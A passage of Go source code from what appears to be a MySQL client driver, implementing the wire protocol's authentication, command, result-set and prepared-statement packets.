valid if the\n\t\t// collations map does not contain entries the server supports.\n\t\treturn errors.New(\"unknown collation\")\n\t}\n\n\t// SSL Connection Request Packet\n\t// http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::SSLRequest\n\tif mc.cfg.tls != nil {\n\t\t// Send TLS / SSL request packet\n\t\tif err := mc.writePacket(data[:(4+4+1+23)+4]); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Switch to TLS\n\t\ttlsConn := tls.Client(mc.netConn, mc.cfg.tls)\n\t\tif err := tlsConn.Handshake(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tmc.netConn = tlsConn\n\t\tmc.buf.nc = tlsConn\n\t}\n\n\t// Filler [23 bytes] (all 0x00)\n\tpos := 13\n\tfor ; pos < 13+23; pos++ {\n\t\tdata[pos] = 0\n\t}\n\n\t// User [null terminated string]\n\tif len(mc.cfg.User) > 0 {\n\t\tpos += copy(data[pos:], mc.cfg.User)\n\t}\n\tdata[pos] = 0x00\n\tpos++\n\n\t// ScrambleBuffer [length encoded integer]\n\tdata[pos] = byte(len(scrambleBuff))\n\tpos += 1 + copy(data[pos+1:], scrambleBuff)\n\n\t// Databasename [null terminated string]\n\tif len(mc.cfg.DBName) > 0 {\n\t\tpos += copy(data[pos:], mc.cfg.DBName)\n\t\tdata[pos] = 0x00\n\t\tpos++\n\t}\n\n\t// Assume native client during response\n\tpos += copy(data[pos:], \"mysql_native_password\")\n\tdata[pos] = 0x00\n\n\t// Send Auth packet\n\treturn mc.writePacket(data)\n}\n\n//  Client old authentication packet\n// http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::AuthSwitchResponse\nfunc (mc *mysqlConn) writeOldAuthPacket(cipher []byte) error {\n\t// User password\n\tscrambleBuff := scrambleOldPassword(cipher, []byte(mc.cfg.Passwd))\n\n\t// Calculate the packet length and add a tailing 0\n\tpktLen := len(scrambleBuff) + 1\n\tdata := mc.buf.takeSmallBuffer(4 + pktLen)\n\tif data == nil {\n\t\t// can not take the buffer. Something must be wrong with the connection\n\t\terrLog.Print(ErrBusyBuffer)\n\t\treturn driver.ErrBadConn\n\t}\n\n\t// Add the scrambled password [null terminated string]\n\tcopy(data[4:], scrambleBuff)\n\tdata[4+pktLen-1] = 0x00\n\n\treturn mc.writePacket(data)\n}\n\n//  Client clear text authentication packet\n// http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::AuthSwitchResponse\nfunc (mc *mysqlConn) writeClearAuthPacket() error {\n\t// Calculate the packet length and add a tailing 0\n\tpktLen := len(mc.cfg.Passwd) + 1\n\tdata := mc.buf.takeSmallBuffer(4 + pktLen)\n\tif data == nil {\n\t\t// can not take the buffer. Something must be wrong with the connection\n\t\terrLog.Print(ErrBusyBuffer)\n\t\treturn driver.ErrBadConn\n\t}\n\n\t// Add the clear password [null terminated string]\n\tcopy(data[4:], mc.cfg.Passwd)\n\tdata[4+pktLen-1] = 0x00\n\n\treturn mc.writePacket(data)\n}\n\n//  Native password authentication method\n// http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::AuthSwitchResponse\nfunc (mc *mysqlConn) writeNativeAuthPacket(cipher []byte) error {\n\tscrambleBuff := scramblePassword(cipher, []byte(mc.cfg.Passwd))\n\n\t// Calculate the packet length and add a tailing 0\n\tpktLen := len(scrambleBuff)\n\tdata := mc.buf.takeSmallBuffer(4 + pktLen)\n\tif data == nil {\n\t\t// can not take the buffer. Something must be wrong with the connection\n\t\terrLog.Print(ErrBusyBuffer)\n\t\treturn driver.ErrBadConn\n\t}\n\n\t// Add the scramble\n\tcopy(data[4:], scrambleBuff)\n\n\treturn mc.writePacket(data)\n}\n\n/******************************************************************************\n*                             Command Packets                                 *\n******************************************************************************/\n\nfunc (mc *mysqlConn) writeCommandPacket(command byte) error {\n\t// Reset Packet Sequence\n\tmc.sequence = 0\n\n\tdata := mc.buf.takeSmallBuffer(4 + 1)\n\tif data == nil {\n\t\t// can not take the buffer. Something must be wrong with the connection\n\t\terrLog.Print(ErrBusyBuffer)\n\t\treturn driver.ErrBadConn\n\t}\n\n\t// Add command byte\n\tdata[4] = command\n\n\t// Send CMD packet\n\treturn mc.writePacket(data)\n}\n\nfunc (mc *mysqlConn) writeCommandPacketStr(command byte, arg string) error {\n\t// Reset Packet Sequence\n\tmc.sequence = 0\n\n\tpktLen := 1 + len(arg)\n\tdata := mc.buf.takeBuffer(pktLen + 4)\n\tif data == nil {\n\t\t// can not take the buffer. Something must be wrong with the connection\n\t\terrLog.Print(ErrBusyBuffer)\n\t\treturn driver.ErrBadConn\n\t}\n\n\t// Add command byte\n\tdata[4] = command\n\n\t// Add arg\n\tcopy(data[5:], arg)\n\n\t// Send CMD packet\n\treturn mc.writePacket(data)\n}\n\nfunc (mc *mysqlConn) writeCommandPacketUint32(command byte, arg uint32) error {\n\t// Reset Packet Sequence\n\tmc.sequence = 0\n\n\tdata := mc.buf.takeSmallBuffer(4 + 1 + 4)\n\tif data == nil {\n\t\t// can not take the buffer. Something must be wrong with the connection\n\t\terrLog.Print(ErrBusyBuffer)\n\t\treturn driver.ErrBadConn\n\t}\n\n\t// Add command byte\n\tdata[4] = command\n\n\t// Add arg [32 bit]\n\tdata[5] = byte(arg)\n\tdata[6] = byte(arg >> 8)\n\tdata[7] = byte(arg >> 16)\n\tdata[8] = byte(arg >> 24)\n\n\t// Send CMD packet\n\treturn mc.writePacket(data)\n}\n\n/******************************************************************************\n*                              Result Packets                                 *\n******************************************************************************/\n\n// Returns error if Packet is not an 'Result OK'-Packet\nfunc (mc *mysqlConn) readResultOK() ([]byte, error) {\n\tdata, err := mc.readPacket()\n\tif err == nil {\n\t\t// packet indicator\n\t\tswitch data[0] {\n\n\t\tcase iOK:\n\t\t\treturn nil, mc.handleOkPacket(data)\n\n\t\tcase iEOF:\n\t\t\tif len(data) > 1 {\n\t\t\t\tpluginEndIndex := bytes.IndexByte(data, 0x00)\n\t\t\t\tplugin := string(data[1:pluginEndIndex])\n\t\t\t\tcipher := data[pluginEndIndex+1 : len(data)-1]\n\n\t\t\t\tif plugin == \"mysql_old_password\" {\n\t\t\t\t\t// using old_passwords\n\t\t\t\t\treturn cipher, ErrOldPassword\n\t\t\t\t} else if plugin == \"mysql_clear_password\" {\n\t\t\t\t\t// using clear text password\n\t\t\t\t\treturn cipher, ErrCleartextPassword\n\t\t\t\t} else if plugin == \"mysql_native_password\" {\n\t\t\t\t\t// using mysql default authentication method\n\t\t\t\t\treturn cipher, ErrNativePassword\n\t\t\t\t} else {\n\t\t\t\t\treturn cipher, ErrUnknownPlugin\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::OldAuthSwitchRequest\n\t\t\t\treturn nil, ErrOldPassword\n\t\t\t}\n\n\t\tdefault: // Error otherwise\n\t\t\treturn nil, mc.handleErrorPacket(data)\n\t\t}\n\t}\n\treturn nil, err\n}\n\n// Result Set Header Packet\n// http://dev.mysql.com/doc/internals/en/com-query-response.html#packet-ProtocolText::Resultset\nfunc (mc *mysqlConn) readResultSetHeaderPacket() (int, error) {\n\tdata, err := mc.readPacket()\n\tif err == nil {\n\t\tswitch data[0] {\n\n\t\tcase iOK:\n\t\t\treturn 0, mc.handleOkPacket(data)\n\n\t\tcase iERR:\n\t\t\treturn 0, mc.handleErrorPacket(data)\n\n\t\tcase iLocalInFile:\n\t\t\treturn 0, mc.handleInFileRequest(string(data[1:]))\n\t\t}\n\n\t\t// column count\n\t\tnum, _, n := readLengthEncodedInteger(data)\n\t\tif n-len(data) == 0 {\n\t\t\treturn int(num), nil\n\t\t}\n\n\t\treturn 0, ErrMalformPkt\n\t}\n\treturn 0, err\n}\n\n// Error Packet\n// http://dev.mysql.com/doc/internals/en/generic-response-packets.html#packet-ERR_Packet\nfunc (mc *mysqlConn) handleErrorPacket(data []byte) error {\n\tif data[0] != iERR {\n\t\treturn ErrMalformPkt\n\t}\n\n\t// 0xff [1 byte]\n\n\t// Error Number [16 bit uint]\n\terrno := binary.LittleEndian.Uint16(data[1:3])\n\n\tpos := 3\n\n\t// SQL State [optional: # + 5bytes string]\n\tif data[3] == 0x23 {\n\t\t//sqlstate := string(data[4 : 4+5])\n\t\tpos = 9\n\t}\n\n\t// Error Message [string]\n\treturn &MySQLError{\n\t\tNumber:  errno,\n\t\tMessage: string(data[pos:]),\n\t}\n}\n\nfunc readStatus(b []byte) statusFlag {\n\treturn statusFlag(b[0]) | statusFlag(b[1])<<8\n}\n\n// Ok Packet\n// http://dev.mysql.com/doc/internals/en/generic-response-packets.html#packet-OK_Packet\nfunc (mc *mysqlConn) handleOkPacket(data []byte) error {\n\tvar n, m int\n\n\t// 0x00 [1 byte]\n\n\t// Affected rows [Length Coded Binary]\n\tmc.affectedRows, _, n = readLengthEncodedInteger(data[1:])\n\n\t// Insert id [Length Coded Binary]\n\tmc.insertId, _, m = readLengthEncodedInteger(data[1+n:])\n\n\t// server_status [2 bytes]\n\tmc.status = readStatus(data[1+n+m : 1+n+m+2])\n\tif err := mc.discardResults(); err != nil {\n\t\treturn err\n\t}\n\n\t// warning count [2 bytes]\n\tif !mc.strict {\n\t\treturn nil\n\t}\n\n\tpos := 1 + n + m + 2\n\tif binary.LittleEndian.Uint16(data[pos:pos+2]) > 0 {\n\t\treturn mc.getWarnings()\n\t}\n\treturn nil\n}\n\n// Read Packets as Field Packets until EOF-Packet or an Error appears\n// http://dev.mysql.com/doc/internals/en/com-query-response.html#packet-Protocol::ColumnDefinition41\nfunc (mc *mysqlConn) readColumns(count int) ([]mysqlField, error) {\n\tcolumns := make([]mysqlField, count)\n\n\tfor i := 0; ; i++ {\n\t\tdata, err := mc.readPacket()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// EOF Packet\n\t\tif data[0] == iEOF && (len(data) == 5 || len(data) == 1) {\n\t\t\tif i == count {\n\t\t\t\treturn columns, nil\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"column count mismatch n:%d len:%d\", count, len(columns))\n\t\t}\n\n\t\t// Catalog\n\t\tpos, err := skipLengthEncodedString(data)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Database [len coded string]\n\t\tn, err := skipLengthEncodedString(data[pos:])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpos += n\n\n\t\t// Table [len coded string]\n\t\tif mc.cfg.ColumnsWithAlias {\n\t\t\ttableName, _, n, err := readLengthEncodedString(data[pos:])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tpos += n\n\t\t\tcolumns[i].tableName = string(tableName)\n\t\t} else {\n\t\t\tn, err = skipLengthEncodedString(data[pos:])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tpos += n\n\t\t}\n\n\t\t// Original table [len coded string]\n\t\tn, err = skipLengthEncodedString(data[pos:])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpos += n\n\n\t\t// Name [len coded string]\n\t\tname, _, n, err := readLengthEncodedString(data[pos:])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcolumns[i].name = string(name)\n\t\tpos += n\n\n\t\t// Original name [len coded string]\n\t\tn, err = skipLengthEncodedString(data[pos:])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Filler [uint8]\n\t\t// Charset [charset, collation uint8]\n\t\t// Length [uint32]\n\t\tpos += n + 1 + 2 + 4\n\n\t\t// Field type [uint8]\n\t\tcolumns[i].fieldType = data[pos]\n\t\tpos++\n\n\t\t// Flags [uint16]\n\t\tcolumns[i].flags = fieldFlag(binary.LittleEndian.Uint16(data[pos : pos+2]))\n\t\tpos += 2\n\n\t\t// Decimals [uint8]\n\t\tcolumns[i].decimals = data[pos]\n\t\t//pos++\n\n\t\t// Default value [len coded binary]\n\t\t//if pos < len(data) {\n\t\t//\tdefaultVal, _, err = bytesToLengthCodedBinary(data[pos:])\n\t\t//}\n\t}\n}\n\n// Read Packets as Field Packets until EOF-Packet or an Error appears\n// http://dev.mysql.com/doc/internals/en/com-query-response.html#packet-ProtocolText::ResultsetRow\nfunc (rows *textRows) readRow(dest []driver.Value) error {\n\tmc := rows.mc\n\n\tdata, err := mc.readPacket()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// EOF Packet\n\tif data[0] == iEOF && len(data) == 5 {\n\t\t// server_status [2 bytes]\n\t\trows.mc.status = readStatus(data[3:])\n\t\terr = rows.mc.discardResults()\n\t\tif err == nil {\n\t\t\terr = io.EOF\n\t\t} else {\n\t\t\t// connection unusable\n\t\t\trows.mc.Close()\n\t\t}\n\t\trows.mc = nil\n\t\treturn err\n\t}\n\tif data[0] == iERR {\n\t\trows.mc = nil\n\t\treturn mc.handleErrorPacket(data)\n\t}\n\n\t// RowSet Packet\n\tvar n int\n\tvar isNull bool\n\tpos := 0\n\n\tfor i := range dest {\n\t\t// Read bytes and convert to string\n\t\tdest[i], isNull, n, err = readLengthEncodedString(data[pos:])\n\t\tpos += n\n\t\tif err == nil {\n\t\t\tif !isNull {\n\t\t\t\tif !mc.parseTime {\n\t\t\t\t\tcontinue\n\t\t\t\t} else {\n\t\t\t\t\tswitch rows.columns[i].fieldType {\n\t\t\t\t\tcase fieldTypeTimestamp, fieldTypeDateTime,\n\t\t\t\t\t\tfieldTypeDate, fieldTypeNewDate:\n\t\t\t\t\t\tdest[i], err = parseDateTime(\n\t\t\t\t\t\t\tstring(dest[i].([]byte)),\n\t\t\t\t\t\t\tmc.cfg.Loc,\n\t\t\t\t\t\t)\n\t\t\t\t\t\tif err == nil {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tdest[i] = nil\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\treturn err // err != nil\n\t}\n\n\treturn nil\n}\n\n// Reads Packets until EOF-Packet or an Error appears. Returns count of Packets read\nfunc (mc *mysqlConn) readUntilEOF() error {\n\tfor {\n\t\tdata, err := mc.readPacket()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tswitch data[0] {\n\t\tcase iERR:\n\t\t\treturn mc.handleErrorPacket(data)\n\t\tcase iEOF:\n\t\t\tif len(data) == 5 {\n\t\t\t\tmc.status = readStatus(data[3:])\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n}\n\n/******************************************************************************\n*                           Prepared Statements                               *\n******************************************************************************/\n\n// Prepare Result Packets\n// http://dev.mysql.com/doc/internals/en/com-stmt-prepare-response.html\nfunc (stmt *mysqlStmt) readPrepareResultPacket() (uint16, error) {\n\tdata, err := stmt.mc.readPacket()\n\tif err == nil {\n\t\t// packet indicator [1 byte]\n\t\tif data[0] != iOK {\n\t\t\treturn 0, stmt.mc.handleErrorPacket(data)\n\t\t}\n\n\t\t// statement id [4 bytes]\n\t\tstmt.id = binary.LittleEndian.Uint32(data[1:5])\n\n\t\t// Column count [16 bit uint]\n\t\tcolumnCount := binary.LittleEndian.Uint16(data[5:7])\n\n\t\t// Param count [16 bit uint]\n\t\tstmt.paramCount = int(binary.LittleEndian.Uint16(data[7:9]))\n\n\t\t// Reserved [8 bit]\n\n\t\t// Warning count [16 bit uint]\n\t\tif !stmt.mc.strict {\n\t\t\treturn columnCount, nil\n\t\t}\n\n\t\t// Check for warnings count > 0, only available in MySQL > 4.1\n\t\tif len(data) >= 12 && binary.LittleEndian.Uint16(data[10:12]) > 0 {\n\t\t\treturn columnCount, stmt.mc.getWarnings()\n\t\t}\n\t\treturn columnCount, nil\n\t}\n\treturn 0, err\n}\n\n// http://dev.mysql.com/doc/internals/en/com-stmt-send-long-data.html\nfunc (stmt *mysqlStmt) writeCommandLongData(paramID int, arg []byte) error {\n\tmaxLen := stmt.mc.maxAllowedPacket - 1\n\tpktLen := maxLen\n\n\t// After the header (bytes 0-3) follows before the data:\n\t// 1 byte command\n\t// 4 bytes stmtID\n\t// 2 bytes paramID\n\tconst dataOffset = 1 + 4 + 2\n\n\t// Can not use the write buffer since\n\t// a) the buffer is too small\n\t// b) it is in use\n\tdata := make([]byte, 4+1+4+2+len(arg))\n\n\tcopy(data[4+dataOffset:], arg)\n\n\tfor argLen := len(arg); argLen > 0; argLen -= pktLen - dataOffset {\n\t\tif dataOffset+argLen < maxLen {\n\t\t\tpktLen = dataOffset + argLen\n\t\t}\n\n\t\tstmt.mc.sequence = 0\n\t\t// Add command byte [1 byte]\n\t\tdata[4] = comStmtSendLongData\n\n\t\t// Add stmtID [32 bit]\n\t\tdata[5] = byte(stmt.id)\n\t\tdata[6] = byte(stmt.id >> 8)\n\t\tdata[7] = byte(stmt.id >> 16)\n\t\tdata[8] = byte(stmt.id >> 24)\n\n\t\t// Add paramID [16 bit]\n\t\tdata[9] = byte(paramID)\n\t\tdata[10] = byte(paramID >> 8)\n\n\t\t// Send CMD packet\n\t\terr := stmt.mc.writePacket(data[:4+pktLen])\n\t\tif err == nil {\n\t\t\tdata = data[pktLen-dataOffset:]\n\t\t\tcontinue\n\t\t}\n\t\treturn err\n\n\t}\n\n\t// Reset Packet Sequence\n\tstmt.mc.sequence = 0\n\treturn nil\n}\n\n// Execute Prepared Statement\n// http://dev.mysql.com/doc/internals/en/com-stmt-execute.html\nfunc (stmt *mysqlStmt) writeExecutePacket(args []driver.Value) error {\n\tif len(args) != stmt.paramCount {\n\t\treturn fmt.Errorf(\n\t\t\t\"argument count mismatch (got: %d; has: %d)\",\n\t\t\tlen(args),\n\t\t\tstmt.paramCount,\n\t\t)\n\t}\n\n\tconst minPktLen = 4 + 1 + 4 + 1 + 4\n\tmc := stmt.mc\n\n\t// Reset packet-sequence\n\tmc.sequence = 0\n\n\tvar data []byte\n\n\tif len(args) == 0 {\n\t\tdata = mc.buf.takeBuffer(minPktLen)\n\t} else {\n\t\tdata = mc.buf.takeCompleteBuffer()\n\t}\n\tif data == nil {\n\t\t// can not take the buffer. Something must be wrong with the connection\n\t\terrLog.Print(ErrBusyBuffer)\n\t\treturn driver.ErrBadConn\n\t}\n\n\t// command [1 byte]\n\tdata[4] = comStmtExecute\n\n\t// statement_id [4 bytes]\n\tdata[5] = byte(stmt.id)\n\tdata[6] = byte(stmt.id >> 8)\n\tdata[7] = byte(stmt.id >> 16)\n\tdata[8] = byte(stmt.id >> 24)\n\n\t// flags (0: CURSOR_TYPE_NO_CURSOR) [1 byte]\n\tdata[9] = 0x00\n\n\t// iteration_count (uint32(1)) [4 bytes]\n\tdata[10] = 0x01\n\tdata[11] = 0x00\n\tdata[12] = 0x00\n\tdata[13] = 0x00\n\n\tif len(args) > 0 {\n\t\tpos := minPktLen\n\n\t\tvar nullMask []byte\n\t\tif maskLen, typesLen := (len(args)+7)/8, 1+2*len(args); pos+maskLen+typesLen >= len(data) {\n\t\t\t// buffer has to be extended but we don't know by how much so\n\t\t\t// we depend on append after all data with known sizes fit.\n\t\t\t// We stop at that because we deal with a lot of columns here\n\t\t\t// which makes the required allocation size hard to guess.\n\t\t\ttmp := make([]byte, pos+maskLen+typesLen)\n\t\t\tcopy(tmp[:pos], data[:pos])\n\t\t\tdata = tmp\n\t\t\tnullMask = data[pos : pos+maskLen]\n\t\t\tpos += maskLen\n\t\t} else {\n\t\t\tnullMask = data[pos : pos+maskLen]\n\t\t\tfor i := 0; i < maskLen; i++ {\n\t\t\t\tnullMask[i] = 0\n\t\t\t}\n\t\t\tpos += maskLen\n\t\t}\n\n\t\t// newParameterBoundFlag 1 [1 byte]\n\t\tdata[pos] = 0x01\n\t\tpos++\n\n\t\t// type of each parameter [len(args)*2 bytes]\n\t\tparamTypes := data[pos:]\n\t\tpos += len(args) * 2\n\n\t\t// value of each parameter [n bytes]\n\t\tparamValues := data[pos:pos]\n\t\tvaluesCap := cap(paramValues)\n\n\t\tfor i, arg := range args {\n\t\t\t// build NULL-bitmap\n\t\t\tif arg == nil {\n\t\t\t\tnullMask[i/8] |= 1 << (uint(i) & 7)\n\t\t\t\tparamTypes[i+i] = fieldTypeNULL\n\t\t\t\tparamTypes[i+i+1] = 0x00\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// cache types and values\n\t\t\tswitch v := arg.(type) {\n\t\t\tcase int64:\n\t\t\t\tparamTypes[i+i] = fieldTypeLongLong\n\t\t\t\tparamTypes[i+i+1] = 0x00\n\n\t\t\t\tif cap(paramValues)-len(paramValues)-8 >= 0 {\n\t\t\t\t\tparamValues = paramValues[:len(paramValues)+8]\n\t\t\t\t\tbinary.LittleEndian.PutUint64(\n\t\t\t\t\t\tparamValues[len(paramValues)-8:],\n\t\t\t\t\t\tuint64(v),\n\t\t\t\t\t)\n\t\t\t\t} else {\n\t\t\t\t\tparamValues = append(paramValues,\n\t\t\t\t\t\tuint64ToBytes(uint64(v))...,\n\t\t\t\t\t)\n\t\t\t\t}\n\n\t\t\tcase float64:\n\t\t\t\tparamTypes[i+i] = fieldTypeDouble\n\t\t\t\tparamTypes[i+i+1] = 0x00\n\n\t\t\t\tif cap(paramValues)-len(paramValues)-8 >= 0 {\n\t\t\t\t\tparamValues = paramValues[:len(paramValues)+8]\n\t\t\t\t\tbinary.LittleEndian.PutUint64(\n\t\t\t\t\t\tparamValues[len(paramValues)-8:],\n\t\t\t\t\t\tmath.Float64bits(v),\n\t\t\t\t\t)\n\t\t\t\t} else {\n\t\t\t\t\tparamValues = append(paramValues,\n\t\t\t\t\t\tuint64ToBytes(math.Float64bits(v))...,\n\t\t\t\t\t)\n\t\t\t\t}\n\n\t\t\tcase bool:\n\t\t\t\tparamTypes[i+i] = fieldTypeTiny\n\t\t\t\tparamTypes[i+i+1] = 0x00\n\n\t\t\t\tif v {\n\t\t\t\t\tparamValues = append(paramValues, 0x01)\n\t\t\t\t} else {\n\t\t\t\t\tparamValues = append(paramValues, 0x00)\n\t\t\t\t}\n\n\t\t\tcase []byte:\n\t\t\t\t// Common case (non-nil value) first\n\t\t\t\tif v != nil {\n\t\t\t\t\tparamTypes[i+i] = fieldTypeString\n\t\t\t\t\tparamTypes[i+i+1] = 0x00\n\n\t\t\t\t\tif len(v) < mc.maxAllowedPacket-pos-len(paramValues)-(len(args)-(i+1))*64 {\n\t\t\t\t\t\tparamValues = appendLengthEncodedInteger(paramValues,\n\t\t\t\t\t\t\tuint64(len(v)),\n\t\t\t\t\t\t)\n\t\t\t\t\t\tparamValues = append(paramValues, v...)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif err := stmt.writeCommandLongData(i, v); err != nil {\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Handle []byte(nil) as a NULL value\n\t\t\t\tnullMask[i/8] |= 1 << (uint(i) & 7)\n\t\t\t\tparamTypes[i+i] = fieldTypeNULL\n\t\t\t\tparamTypes[i+i+1] = 0x00\n\n\t\t\tcase string:\n\t\t\t\tparamTypes[i+i] = fieldTypeString\n\t\t\t\tparamTypes[i+i+1] = 0x00\n\n\t\t\t\tif len(v) < mc.maxAllowedPacket-pos-len(paramValues)-(len(args)-(i+1))*64 {\n\t\t\t\t\tparamValues = appendLengthEncodedInteger(paramValues,\n\t\t\t\t\t\tuint64(len(v)),\n\t\t\t\t\t)\n\t\t\t\t\tparamValues = append(paramValues, v...)\n\t\t\t\t} else {\n\t\t\t\t\tif err := stmt.writeCommandLongData(i, []byte(v)); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\tcase time.Time:\n\t\t\t\tparamTypes[i+i] = fieldTypeString\n\t\t\t\tparamTypes[i+i+1] = 0x00\n\n\t\t\t\tvar val []byte\n\t\t\t\tif v.IsZero() {\n\t\t\t\t\tval = []byte(\"0000-00-00\")\n\t\t\t\t} else {\n\t\t\t\t\tval = []byte(v.In(mc.cfg.Loc).Format(timeFormat))\n\t\t\t\t}\n\n\t\t\t\tparamValues = appendLengthEncodedInteger(paramValues,\n\t\t\t\t\tuint64(len(val)),\n\t\t\t\t)\n\t\t\t\tparamValues = append(paramValues, val...)\n\n\t\t\tdefault:\n\t\t\t\treturn fmt.Errorf(\"can not convert type: %T\", arg)\n\t\t\t}\n\t\t}\n\n\t\t// Check if param values exceeded the available buffer\n\t\t// In that case we must build the data packet with the new values buffer\n\t\tif valuesCap != cap(paramValues) {\n\t\t\tdata = append(data[:pos], paramValues...)\n\t\t\tmc.buf.buf = data\n\t\t}\n\n\t\tpos += len(paramValues)\n\t\tdata = data[:pos]\n\t}\n\n\treturn mc.writePacket(data)\n}\n\nfunc (mc *mysqlConn) discardResults() error {\n\tfor mc.status&statusMoreResultsExists != 0 {\n\t\tresLen, err := mc.readResultSetHeaderPacket()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif resLen > 0 {\n\t\t\t// columns\n\t\t\tif err := mc.readUntilEOF(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t// rows\n\t\t\tif err := mc.readUntilEOF(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else {\n\t\t\tmc.status &^= statusMoreResultsExists\n\t\t}\n\t}\n\treturn nil\n}\n\n// http://dev.mysql.com/doc/internals/en/binary-protocol-resultset-row.html\nfunc (rows *binaryRows) readRow(dest []driver.Value) error {\n\tdata, err := rows.mc.readPacket()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// packet indicator [1 byte]\n\tif data[0] != iOK {\n\t\t// EOF Packet\n\t\tif data[0] == iEOF && len(data) == 5 {\n\t\t\trows.mc.status = readStatus(data[3:])\n\t\t\terr = rows.mc.discardResults()\n\t\t\tif err == nil {\n\t\t\t\terr = io.EOF\n\t\t\t} else {\n\t\t\t\t// connection unusable\n\t\t\t\trows.mc.Close()\n\t\t\t}\n\t\t\trows.mc = nil\n\t\t\treturn err\n\t\t}\n\t\trows.mc = nil\n\n\t\t// Error otherwise\n\t\treturn rows.mc.handleErrorPacket(data)\n\t}\n\n\t// NULL-bitmap,  [(column-count + 7 + 2) / 8 bytes]\n\tpos := 1 + (len(dest)+7+2)>>3\n\tnullMask := data[1:pos]\n\n\tfor i := range dest {\n\t\t// Field is NULL\n\t\t// (byte >> bit-pos) % 2 == 1\n\t\tif ((nullMask[(i+2)>>3] >> uint((i+2)&7)) & 1) == 1 {\n\t\t\tdest[i] = nil\n\t\t\tcontinue\n\t\t}\n\n\t\t// Convert to byte-coded string\n\t\tswitch rows.columns[i].fieldType {\n\t\tcase fieldTypeNULL:\n\t\t\tdest[i] = nil\n\t\t\tcontinue\n\n\t\t// Numeric Types\n\t\tcase fieldTypeTiny:\n\t\t\tif rows.columns[i].flags&flagUnsigned != 0 {\n\t\t\t\tdest[i] = int64(data[pos])\n\t\t\t} else {\n\t\t\t\tdest[i] = int64(int8(data[pos]))\n\t\t\t}\n\t\t\tpos++\n\t\t\tcontinue\n\n\t\tcase fieldTypeShort, fieldTypeYear:\n\t\t\tif rows.columns[i].flags&flagUnsigned != 0 {\n\t\t\t\tdest[i] = int64(binary.LittleEndian.Uint16(data[pos : pos+2]))\n\t\t\t} else {\n\t\t\t\tdest[i] = int64(int16(binary.LittleEndian.Uint16(data[pos : pos+2])))\n\t\t\t}\n\t\t\tpos += 2\n\t\t\tcontinue\n\n\t\tcase fieldTypeInt24, fieldTypeLong:\n\t\t\tif rows.columns[i].flags&flagUnsigned != 0 {\n\t\t\t\tdest[i] = int64(binary.LittleEndian.Uint32(data[pos : pos+4]))\n\t\t\t} else {\n\t\t\t\tdest[i] = int64(int32(binary.LittleEndian.Uint32(data[pos : pos+4])))\n\t\t\t}\n\t\t\tpos += 4\n\t\t\tcontinue\n\n\t\tcase fieldTypeLongLong:\n\t\t\tif rows.columns[i].flags&flagUnsigned != 0 {\n\t\t\t\tval := binary.LittleEndian.Uint64(data[pos : pos+8])\n\t\t\t\tif val > math.MaxInt64 {\n\t\t\t\t\tdest[i] = uint64ToString(val)\n\t\t\t\t} else {\n\t\t\t\t\tdest[i] = int64(val)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdest[i] = int64(binary.LittleEndian.Uint64(data[pos : pos+8]))\n\t\t\t}\n\t\t\tpos += 8\n\t\t\tcontinue\n\n\t\tcase fieldTypeFloat:\n\t\t\tdest[i] = float32(math.Float32frombits(binary.LittleEndian.Uint32(data[pos : pos+4])))\n\t\t\tpos += 4\n\t\t\tcontinue\n\n\t\tcase fieldTypeDouble:\n\t\t\tdest[i] = math.Float64frombits(binary.LittleEndian.Uint64(data[pos : pos+8]))\n\t\t\tpos += 8\n\t\t\tcontinue\n\n\t\t// Length coded Binary Strings\n\t\tcase fieldTypeDecimal, fieldTypeNewDecimal, fieldTypeVarChar,\n\t\t\tfieldTypeBit, fieldTypeEnum, fieldTypeSet, fieldTypeTinyBLOB,\n\t\t\tfieldTypeMediumBLOB, fieldTypeLongBLOB, fieldTypeBLOB,\n\t\t\tfieldTypeVarString, fieldTypeString, fieldTypeGeometry, fieldTypeJSON:\n\t\t\tvar isNull bool\n\t\t\tvar n int\n\t\t\tdest[i], isNull, n, err = readLengthEncodedString(data[pos:])\n\t\t\tpos += n\n\t\t\tif err == nil {\n\t\t\t\tif !isNull {\n\t\t\t\t\tcontinue\n\t\t\t\t} else {\n\t\t\t\t\tdest[i] = nil\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn 